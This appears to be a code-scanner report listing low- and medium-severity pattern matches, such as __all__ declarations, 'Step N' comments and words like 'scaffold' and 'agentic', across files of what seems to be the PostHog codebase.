| LOW⚡ | products/demo/backend/facade/api.py | 59 | __all__ = [ | CODE |
| LOW | products/mcp_store/backend/admin.py | 11 | logger = logging.getLogger(__name__) | CODE |
| LOW | products/mcp_store/backend/tasks/__init__.py | 4 | __all__ = ["sync_installation_tools_task"] | CODE |
| LOW | products/slack_app/backend/inbox_channel.py | 41 | def _set_team_channel(team_id: int, value: str) -> None: | CODE |
| LOW⚡ | products/slack_app/backend/slack_thread.py | 163 | def update_reaction(self, emoji: str) -> None: | CODE |
| LOW | …p/backend/tests/test_channel_approval_interactivity.py | 113 | def _set_signing_secret(self, mock_slack_cls: Any) -> None: | CODE |
| LOW | products/slack_app/backend/tests/helpers.py | 3 | __all__ = ["sign_slack_request"] | CODE |
| LOW | …ervices/slack_messages/test_collect_thread_messages.py | 329 | def _set_thread(self, messages: list[dict]) -> None: | CODE |
| LOW | products/slack_app/backend/facade/slack_settings.py | 15 | __all__ = [ | CODE |
| LOW | products/slack_app/backend/views/__init__.py | 11 | __all__ = ["slack_app_command_handler", "slack_user_link_authorize", "slack_user_link_callback"] | CODE |
| LOW | products/slack_app/backend/services/slack_settings.py | 188 | __all__ = [ | CODE |
| LOW | products/metrics/backend/facade/queries.py | 11 | __all__ = ["MetricsQueryRunner"] | CODE |
| LOW | products/metrics/backend/presentation/api.py | 43 | __all__ = ["MetricsViewSet"] | CODE |
| LOW | products/batch_exports/backend/temporal/__init__.py | 18 | __all__ = ["ACTIVITIES", "WORKFLOWS"] | CODE |
| LOW | products/batch_exports/backend/temporal/spmc.py | 95 | def set_schema(self, record_batch: pa.RecordBatch) -> None: | CODE |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 136 | async def update_batch_export_backfill_model(inputs: UpdateBatchExportBackfillInputs) -> None: | CODE |
| LOW | …ts/batch_exports/backend/temporal/pipeline/consumer.py | 158 | def _set_stage_attribution_span_attributes(self, span: trace.Span, elapsed: float) -> None: | CODE |
| LOW | products/batch_exports/backend/facade/models.py | 9 | __all__ = ["BatchExportRun"] | CODE |
| LOW | products/batch_exports/backend/models/__init__.py | 11 | __all__ = [ | CODE |
| LOW | products/batch_exports/backend/debug/debugger.py | 185 | def set_batch_export_from_loaded(self, batch_export: BatchExport | str | int | uuid.UUID | None = None) -> None: | CODE |
| LOW | products/cdp/backend/tasks/__init__.py | 3 | __all__ = ["hog_functions"] | CODE |
| LOW | products/cdp/backend/facade/models.py | 9 | __all__ = ["HogFunction", "HogFunctionState", "HogFunctionType"] | CODE |
| LOW | products/cdp/backend/models/__init__.py | 16 | __all__ = [ | CODE |
| LOW | products/cdp/backend/models/hog_functions/__init__.py | 3 | __all__ = ["HogFunction", "HogFunctionState"] | CODE |
| LOW | products/feature_flags/backend/tasks.py | 42 | def update_team_flags_cache(team_id: int) -> None: | CODE |
| LOW⚡ | products/feature_flags/backend/tasks.py | 69 | def update_team_service_flags_cache(team_id: int) -> None: | CODE |
| LOW | products/feature_flags/backend/tasks.py | 194 | def _set_ranked_team_gauge(gauge: Gauge, rows: list[dict], value_key: str) -> None: | CODE |
| LOW | products/feature_flags/backend/models/__init__.py | 7 | __all__ = [ | CODE |
| LOW | …ture_flags/backend/models/team_feature_flags_config.py | 7 | logger = logging.getLogger(__name__) | CODE |
| LOW | …gs/backend/models/team_feature_flag_defaults_config.py | 7 | logger = logging.getLogger(__name__) | CODE |
| LOW | products/feature_flags/backend/api/feature_flag.py | 113 | logger = logging.getLogger(__name__) | CODE |
| LOW | products/feature_flags/backend/api/feature_flag.py | 2195 | def _update_feature_flag_dashboard(feature_flag: FeatureFlag, old_key: str) -> None: | CODE |
| LOW | …eature_flags/backend/api/test/test_scheduled_change.py | 850 | def _set_flag_access(self, flag: FeatureFlag, access_level: str) -> None: | CODE |
| LOW | products/mcp_analytics/backend/facade/queries.py | 19 | __all__ = [ | CODE |
| LOW | products/marketing_analytics/backend/models/__init__.py | 3 | __all__ = ["MarketingAnalyticsGoalMapping"] | CODE |
| LOW | …ckend/hogql_queries/test_marketing_analytics_config.py | 23 | def _set_attribution_mode(self, mode: AttributionMode) -> None: | CODE |
| LOW | products/error_tracking/backend/temporal/__init__.py | 40 | __all__ = [ | CODE |
| LOW | …g/backend/temporal/recommendations_refresh/__init__.py | 12 | __all__ = [ | CODE |
| LOW | …acking/backend/temporal/symbol_set_cleanup/__init__.py | 7 | __all__ = [ | CODE |
| LOW | …cking/backend/temporal/spike_event_cleanup/__init__.py | 7 | __all__ = [ | CODE |
| LOW | …kend/temporal/fingerprint_embedding_result/__init__.py | 11 | __all__ = [ | CODE |
| 831 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …c/cdp/consumers/cdp-cohort-membership.consumer.test.ts | 100 | // Step 1: Person enters the cohort | COMMENT |
| LOW | …c/cdp/consumers/cdp-cohort-membership.consumer.test.ts | 126 | // Step 2: Person leaves the cohort | COMMENT |
| LOW | …c/cdp/consumers/cdp-cohort-membership.consumer.test.ts | 154 | // Step 3: Person re-enters the cohort | COMMENT |
| LOW | …rc/cdp/consumers/cdp-precalculated-filters.consumer.ts | 180 | // Step 1: Parse all messages and group by team_id | COMMENT |
| LOW⚡ | …rc/cdp/consumers/cdp-precalculated-filters.consumer.ts | 205 | // Step 2: Fetch all realtime supported filters for all teams in one query | COMMENT |
| LOW⚡ | …rc/cdp/consumers/cdp-precalculated-filters.consumer.ts | 209 | // Step 3: Process each team's events with their realtime supported filters | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 602 | // Step 1: run first action (function_id_1) | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 621 | // Step 2: run again, should NOT exit early due to exit_only_at_end | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 2191 | // Step 1: Hogflow worker executes (queue !== 'email') — should route to email queue | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 2197 | // Step 2: Email worker picks up the job (queue === 'email') — should send inline and continue | COMMENT |
| LOW | …ejs/src/ingestion/framework/docs/12-filter-map.test.ts | 64 | // Step 1: Resolve team from teamId (some lookups may fail) | COMMENT |
| LOW | …ejs/src/ingestion/framework/docs/12-filter-map.test.ts | 81 | // Step 2: Process event (runs within teamAware context) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 15 | // Step 1: UUIDs and request IDs (e.g., req_abc123, 550e8400-e29b-41d4-a716-446655440000) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 18 | // Step 2: ISO timestamps (e.g., 2025-11-08T14:25:51.767Z) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 21 | // Step 3: Cloud resource paths (e.g., projects/123/locations/us-west2/publishers/google/models/gemini-pro) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 24 | // Step 4: ResponseId JSON fields (e.g., "responseId":"h2sPacmZI4OWvPEPvIS16Ac") | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 27 | // Step 5: Generic JSON "id" fields (e.g., "id": "oJf6eVw-z1gNr-99c2d11d156dff07") | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 36 | // Step 7: Function call IDs (e.g., function call call_edLiisyOJybNZLouC6MCNxyC) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 39 | // Step 8: User IDs (e.g., 'user_id': 'user_32yQoBNWxpvzxVJG0S0zxnnVSCJ') | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 43 | // Step 9: Memory object IDs / hex addresses (e.g., 0xfffced405130) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 46 | // Step 10: Generic id='xxx' patterns (case insensitive) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 49 | // Step 11: Token counts (e.g., "tokenCount":7125 or "tokenCount": 7125) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 52 | // Step 12: Large numeric IDs (9+ digits, e.g., project IDs like 1234567890) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 55 | // Step 13: All remaining numbers | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 58 | // Step 14: Multiple whitespace | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1282 | // Step 1: Cache the target person (simulating fetchForUpdate) | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1289 | // Step 2: Update target person with merged properties (simulating updatePersonForMerge) | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1316 | // Step 3: moveDistinctIds - this should preserve the merged cache | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1325 | // Step 4: Verify that cached merged properties are preserved | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1457 | // Step 1: Cache target person | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1464 | // Step 2: Multiple merge operations | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1488 | // Step 3: moveDistinctIds | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1496 | // Step 4: Verify all merged properties are preserved | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 81 | // Step 1: Check local cache | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 105 | // Step 2: Batch check Redis for cache misses using MGET | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 132 | // Step 3: Check rate limiter for unflagged keys | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 150 | // Step 4: Batch flag newly rate-limited keys in Redis | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 854 | # Step 1: Roll back orphaned migrations | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 876 | # Step 2: Apply pending | COMMENT |
| LOW⚡ | tools/hogli-commands/hogli_commands/doctor.py | 613 | # Step 1: Prune stale remote branches | COMMENT |
| LOW⚡ | tools/hogli-commands/hogli_commands/doctor.py | 619 | # Step 2: Expire old reflogs (keep 30 days for safety) | COMMENT |
| LOW⚡ | tools/hogli-commands/hogli_commands/doctor.py | 625 | # Step 3: Run gc --aggressive (this can take 1-2 minutes) | COMMENT |
| LOW | products/mcp_store/backend/oauth.py | 264 | # Step 1: Try RFC 9728 Protected Resource Metadata to find the authorization server | COMMENT |
| LOW | products/mcp_store/backend/oauth.py | 293 | # Step 2: Fall back to fetching authorization server metadata directly from the origin. | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 896 | # Step 1: Create backfill model with STARTING status | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 922 | # Step 2: Get backfill info (validation + estimation) | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 940 | # Step 3: Update backfill with adjusted start and estimated count | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 976 | # Step 4: Early exit if no data to backfill | COMMENT |
| LOW | …s/backend/hogql_queries/conversion_goals_aggregator.py | 38 | # Step 1: Generate individual conversion goal queries, parallelised across goals | COMMENT |
| LOW⚡ | …s/backend/hogql_queries/conversion_goals_aggregator.py | 112 | # Step 2: UNION ALL the individual queries | COMMENT |
| LOW⚡ | …s/backend/hogql_queries/conversion_goals_aggregator.py | 118 | # Step 3: Create final aggregation query that sums all conversion goals | COMMENT |
| LOW | …ng/skills/diagnosing-stacktrace-symbolication/SKILL.md | 38 | ### Step 1 - Find how symbol data is produced and uploaded | COMMENT |
| LOW | …ng/skills/diagnosing-stacktrace-symbolication/SKILL.md | 56 | ### Step 2 - Build and inspect local artifacts | COMMENT |
| LOW | …ng/skills/diagnosing-stacktrace-symbolication/SKILL.md | 65 | ### Step 3 - Check symbol sets in PostHog | COMMENT |
| LOW | …ng/skills/diagnosing-stacktrace-symbolication/SKILL.md | 99 | ### Step 4 - Compare local, uploaded, and served files | COMMENT |
| LOW | …ng/skills/diagnosing-stacktrace-symbolication/SKILL.md | 111 | ### Step 5 - Fix the most likely layer | COMMENT |
| LOW⚡ | products/tasks/backend/prompts.py | 57 | ## Step 1 - Verify the project builds | COMMENT |
| LOW⚡ | products/tasks/backend/prompts.py | 74 | ## Step 2 - Commit the wizard's changes to a new branch | COMMENT |
| LOW | products/tasks/backend/prompts.py | 100 | ## Step 3 - Configure environment variables for production | COMMENT |
| LOW | products/tasks/backend/prompts.py | 117 | ## Step 4 - Open the pull request | COMMENT |
| 411 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …c/cdp/consumers/cdp-cohort-membership.consumer.test.ts | 100 | // Step 1: Person enters the cohort | COMMENT |
| LOW | …c/cdp/consumers/cdp-cohort-membership.consumer.test.ts | 126 | // Step 2: Person leaves the cohort | COMMENT |
| LOW | …c/cdp/consumers/cdp-cohort-membership.consumer.test.ts | 154 | // Step 3: Person re-enters the cohort | COMMENT |
| LOW | …rc/cdp/consumers/cdp-precalculated-filters.consumer.ts | 180 | // Step 1: Parse all messages and group by team_id | COMMENT |
| LOW⚡ | …rc/cdp/consumers/cdp-precalculated-filters.consumer.ts | 205 | // Step 2: Fetch all realtime supported filters for all teams in one query | COMMENT |
| LOW⚡ | …rc/cdp/consumers/cdp-precalculated-filters.consumer.ts | 209 | // Step 3: Process each team's events with their realtime supported filters | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 602 | // Step 1: run first action (function_id_1) | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 621 | // Step 2: run again, should NOT exit early due to exit_only_at_end | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 2191 | // Step 1: Hogflow worker executes (queue !== 'email') — should route to email queue | COMMENT |
| LOW⚡ | …cdp/services/hogflows/hogflow-executor.service.test.ts | 2197 | // Step 2: Email worker picks up the job (queue === 'email') — should send inline and continue | COMMENT |
| LOW | …ejs/src/ingestion/framework/docs/12-filter-map.test.ts | 64 | // Step 1: Resolve team from teamId (some lookups may fail) | COMMENT |
| LOW | …ejs/src/ingestion/framework/docs/12-filter-map.test.ts | 81 | // Step 2: Process event (runs within teamAware context) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 15 | // Step 1: UUIDs and request IDs (e.g., req_abc123, 550e8400-e29b-41d4-a716-446655440000) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 18 | // Step 2: ISO timestamps (e.g., 2025-11-08T14:25:51.767Z) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 21 | // Step 3: Cloud resource paths (e.g., projects/123/locations/us-west2/publishers/google/models/gemini-pro) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 24 | // Step 4: ResponseId JSON fields (e.g., "responseId":"h2sPacmZI4OWvPEPvIS16Ac") | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 27 | // Step 5: Generic JSON "id" fields (e.g., "id": "oJf6eVw-z1gNr-99c2d11d156dff07") | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 36 | // Step 7: Function call IDs (e.g., function call call_edLiisyOJybNZLouC6MCNxyC) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 39 | // Step 8: User IDs (e.g., 'user_id': 'user_32yQoBNWxpvzxVJG0S0zxnnVSCJ') | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 43 | // Step 9: Memory object IDs / hex addresses (e.g., 0xfffced405130) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 46 | // Step 10: Generic id='xxx' patterns (case insensitive) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 49 | // Step 11: Token counts (e.g., "tokenCount":7125 or "tokenCount": 7125) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 52 | // Step 12: Large numeric IDs (9+ digits, e.g., project IDs like 1234567890) | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 55 | // Step 13: All remaining numbers | COMMENT |
| LOW⚡ | …s/src/ingestion/pipelines/ai/errors/normalize-error.ts | 58 | // Step 14: Multiple whitespace | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1282 | // Step 1: Cache the target person (simulating fetchForUpdate) | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1289 | // Step 2: Update target person with merged properties (simulating updatePersonForMerge) | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1316 | // Step 3: moveDistinctIds - this should preserve the merged cache | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1325 | // Step 4: Verify that cached merged properties are preserved | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1457 | // Step 1: Cache target person | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1464 | // Step 2: Multiple merge operations | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1488 | // Step 3: moveDistinctIds | COMMENT |
| LOW⚡ | …tion/common/persons/batch-writing-person-store.test.ts | 1496 | // Step 4: Verify all merged properties are preserved | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 81 | // Step 1: Check local cache | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 105 | // Step 2: Batch check Redis for cache misses using MGET | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 132 | // Step 3: Check rate limiter for unflagged keys | COMMENT |
| LOW | …ommon/overflow-redirect/main-lane-overflow-redirect.ts | 150 | // Step 4: Batch flag newly rate-limited keys in Redis | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 854 | # Step 1: Roll back orphaned migrations | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 876 | # Step 2: Apply pending | COMMENT |
| LOW⚡ | tools/hogli-commands/hogli_commands/doctor.py | 613 | # Step 1: Prune stale remote branches | COMMENT |
| LOW⚡ | tools/hogli-commands/hogli_commands/doctor.py | 619 | # Step 2: Expire old reflogs (keep 30 days for safety) | COMMENT |
| LOW⚡ | tools/hogli-commands/hogli_commands/doctor.py | 625 | # Step 3: Run gc --aggressive (this can take 1-2 minutes) | COMMENT |
| LOW | products/mcp_store/backend/oauth.py | 264 | # Step 1: Try RFC 9728 Protected Resource Metadata to find the authorization server | COMMENT |
| LOW | products/mcp_store/backend/oauth.py | 293 | # Step 2: Fall back to fetching authorization server metadata directly from the origin. | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 896 | # Step 1: Create backfill model with STARTING status | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 922 | # Step 2: Get backfill info (validation + estimation) | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 940 | # Step 3: Update backfill with adjusted start and estimated count | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 976 | # Step 4: Early exit if no data to backfill | COMMENT |
| LOW | …ics/backend/hogql_queries/conversion_goal_processor.py | 2310 | # For ActionsNode, we need to check if this is an action condition | COMMENT |
| LOW | …s/backend/hogql_queries/conversion_goals_aggregator.py | 38 | # Step 1: Generate individual conversion goal queries, parallelised across goals | COMMENT |
| LOW⚡ | …s/backend/hogql_queries/conversion_goals_aggregator.py | 112 | # Step 2: UNION ALL the individual queries | COMMENT |
| LOW⚡ | …s/backend/hogql_queries/conversion_goals_aggregator.py | 118 | # Step 3: Create final aggregation query that sums all conversion goals | COMMENT |
| LOW⚡ | …rehouse/backend/tests/api/test_external_data_source.py | 4898 | # Step 1: GET the source (simulating user opening the config page) | COMMENT |
| LOW⚡ | …rehouse/backend/tests/api/test_external_data_source.py | 4903 | # Step 2: PATCH with the exact data from GET (simulating user saving without changes) | COMMENT |
| LOW⚡ | …rehouse/backend/tests/api/test_external_data_source.py | 6660 | # Step 1: GET the source - should properly read auth_type and return as auth | COMMENT |
| LOW⚡ | …rehouse/backend/tests/api/test_external_data_source.py | 6669 | # Step 2: PATCH with the exact data from GET | COMMENT |
| LOW⚡ | …ndpoints/backend/tests/test_insight_response_parity.py | 127 | # Step 1: Execute inline — establish the baseline shape | COMMENT |
| LOW⚡ | …ndpoints/backend/tests/test_insight_response_parity.py | 136 | # Step 2: Set up materialization | COMMENT |
| LOW⚡ | …ndpoints/backend/tests/test_insight_response_parity.py | 139 | # Step 3: Mock process_query_model to return flat HogQL data | COMMENT |
| LOW⚡ | …ndpoints/backend/tests/test_insight_response_parity.py | 185 | # Step 1: Inline baseline | COMMENT |
| 303 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | docker-compose.profiles.yml | 21 | # Temporal capability - workflow orchestration | COMMENT |
| MEDIUM | tools/query-performance-ai/ruff.toml | 4 | # Pi plugin and in-sandbox driver scripts use stdout as their orchestration | COMMENT |
| MEDIUM | tools/pr-approval-agent/reviewer.py | 43 | # of the model's context window, so these are generous — they exist to cap | COMMENT |
| MEDIUM⚡ | tools/pr-approval-agent/reviewer.py | 198 | # Operational scaffolding kept in code: tool instructions, the grep-before-flag | STRING |
| MEDIUM⚡ | tools/pr-approval-agent/reviewer.py | 201 | # file. Recomposition is a single seam (guidance then scaffold tail). | STRING |
| MEDIUM⚡ | tools/pr-approval-agent/reviewer.py | 203 | # without it the "Tools:" scaffold would butt directly against the last norms | STRING |
| MEDIUM | tools/hogli-commands/README.md | 81 | └── product/ # Product scaffolding subpackage (lazy) | CODE |
| MEDIUM | …s/hogli-commands/hogli_commands/product_structure.yaml | 89 | # We deliberately do not scaffold `__init__.py` files for `backend/`, | COMMENT |
| MEDIUM | …ols/hogli-commands/hogli_commands/tests/test_checks.py | 1118 | # facade/contracts.py is just scaffolding, not a commitment to | STRING |
| MEDIUM | tools/hogli-commands/hogli_commands/product/isolate.py | 232 | lines.append("\n## Facade submodules to scaffold") | CODE |
| MEDIUM | products/mcp_store/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/metrics/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/batch_exports/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/cdp/mcp/cdp_functions.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/cdp/mcp/cdp_function_templates.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/feature_flags/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/tracing/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/mcp_analytics/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | …ucts/mcp_analytics/skills/improving-mcp-tools/SKILL.md | 67 | ## Hard guardrails | COMMENT |
| MEDIUM | products/marketing_analytics/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/error_tracking/mcp/error_tracking_alerts.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/error_tracking/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/tasks/backend/facade/api.py | 1510 | # moving all ORM access and Temporal/Slack/S3 orchestration behind the facade. Visibility on | COMMENT |
| MEDIUM | products/tasks/backend/facade/api.py | 3104 | # orchestration (title generation, signal-report linkage, workflow triggers, S3 artifact | COMMENT |
| MEDIUM | products/tasks/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/data_warehouse/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM⚡ | products/endpoints/backend/logic/execution.py | 125 | # Cost guardrails + transient capacity: customer problems, not faults. Skipped from capture and | COMMENT |
| MEDIUM | products/endpoints/backend/logic/execution.py | 100 | # Deterministic, customer-caused ClickHouse cost guardrails → stable client `code` + remediation. | COMMENT |
| MEDIUM | products/endpoints/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/user_interviews/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/visual_review/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/experiments/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/signals/ARCHITECTURE.md | 1163 | │ │ ├── AGENTS.md # Documentation for the agentic report generation flow | CODE |
| MEDIUM | products/signals/ARCHITECTURE.md | 1164 | │ │ ├── research.py # Multi-turn sandbox research orchestration + output schemas + research task_run ar | CODE |
| MEDIUM | products/signals/backend/models.py | 264 | # summary / agentic research (READY: every signal; resolved: recurrence of the issue) | COMMENT |
| MEDIUM | products/signals/backend/views.py | 1684 | # part of the agentic pipeline contract and must not be hand-edited. | COMMENT |
| MEDIUM | products/signals/backend/temporal/summary.py | 197 | # 3. Run safety judge first to avoid passing unsafe report into the agentic research | COMMENT |
| MEDIUM | products/signals/backend/temporal/summary.py | 228 | # 4. Select repository for the agentic research | COMMENT |
| MEDIUM | products/signals/backend/temporal/summary.py | 255 | # 5. Run the agentic report research flow with the selected repository to use code/MCP data to assess si | COMMENT |
| MEDIUM | …ts/signals/backend/temporal/agentic/scout_scheduler.py | 28 | # runner -> temporal.agentic -> scout_coordinator -> scout_scheduler -> runner. | COMMENT |
| MEDIUM | products/signals/backend/temporal/agentic/report.py | 95 | # Only types we care about for the agentic report generation | COMMENT |
| MEDIUM | products/signals/backend/temporal/agentic/report.py | 212 | # orchestrates auto-start explicitly, so appends opt out of the model's auto-start | COMMENT |
| MEDIUM | products/signals/backend/temporal/agentic/report.py | 354 | # 3. Run the agentic research in the sandbox | COMMENT |
| MEDIUM | products/signals/backend/custom_agent/PLAN.md | 31 | cursed_comment_agent.py # realistic example (repo research + agentic resolvers) | CODE |
| MEDIUM | products/signals/backend/custom_agent/PLAN.md | 32 | auto_start.py # shared with the agentic signals pipeline | CODE |
| MEDIUM | products/signals/backend/test/test_scout_harness.py | 253 | # Shared scaffolding is still present on both personas. | COMMENT |
| MEDIUM⚡ | …nals/backend/test/test_signal_report_artefact_model.py | 67 | # The agentic pipeline appends _AGENTIC_ARTEFACT_TYPES versions on every run. The set must | COMMENT |
| MEDIUM | products/signals/backend/management/AGENTS.md | 99 | ## Repository selection (agentic) | COMMENT |
| MEDIUM | products/signals/backend/management/CLAUDE.md | 99 | ## Repository selection (agentic) | COMMENT |
| MEDIUM | …ackend/management/commands/run_custom_agent_example.py | 10 | # Cursed-comment finder (real research against a repo, agentic resolvers) | STRING |
| MEDIUM | products/signals/backend/scout_report/persistence.py | 163 | # the scout's task. This keeps an agentic report auditable as NOT pipeline-generated (a | COMMENT |
| MEDIUM⚡ | products/signals/backend/report_generation/research.py | 22 | # eager-imports agentic -> report -> back into this module, forming a circular import. | COMMENT |
| MEDIUM⚡ | …ducts/signals/backend/report_generation/select_repo.py | 32 | # __init__ (agentic -> back into report_generation), a circular import. SignalData is | COMMENT |
| MEDIUM | products/signals/backend/scout_harness/tools/report.py | 332 | # temporal/agentic + sandbox stack off this harness-tool module's import path (it loads at worker boot). | COMMENT |
| MEDIUM | products/signals/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/signals/skills/inbox-exploration/SKILL.md | 20 | Inbox is part of [PostHog Code](https://posthog.com/code), PostHog's agentic surface for | CODE |
| MEDIUM | …s/authoring-scouts/references/lifecycle-and-testing.md | 73 | hogli init:skill # scaffold a new skill directory | CODE |
| MEDIUM | products/platform_features/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/product_analytics/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| MEDIUM | products/engineering_analytics/mcp/tools.yaml | 3 | # pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-all | COMMENT |
| 152 more matches not shown… | ||||
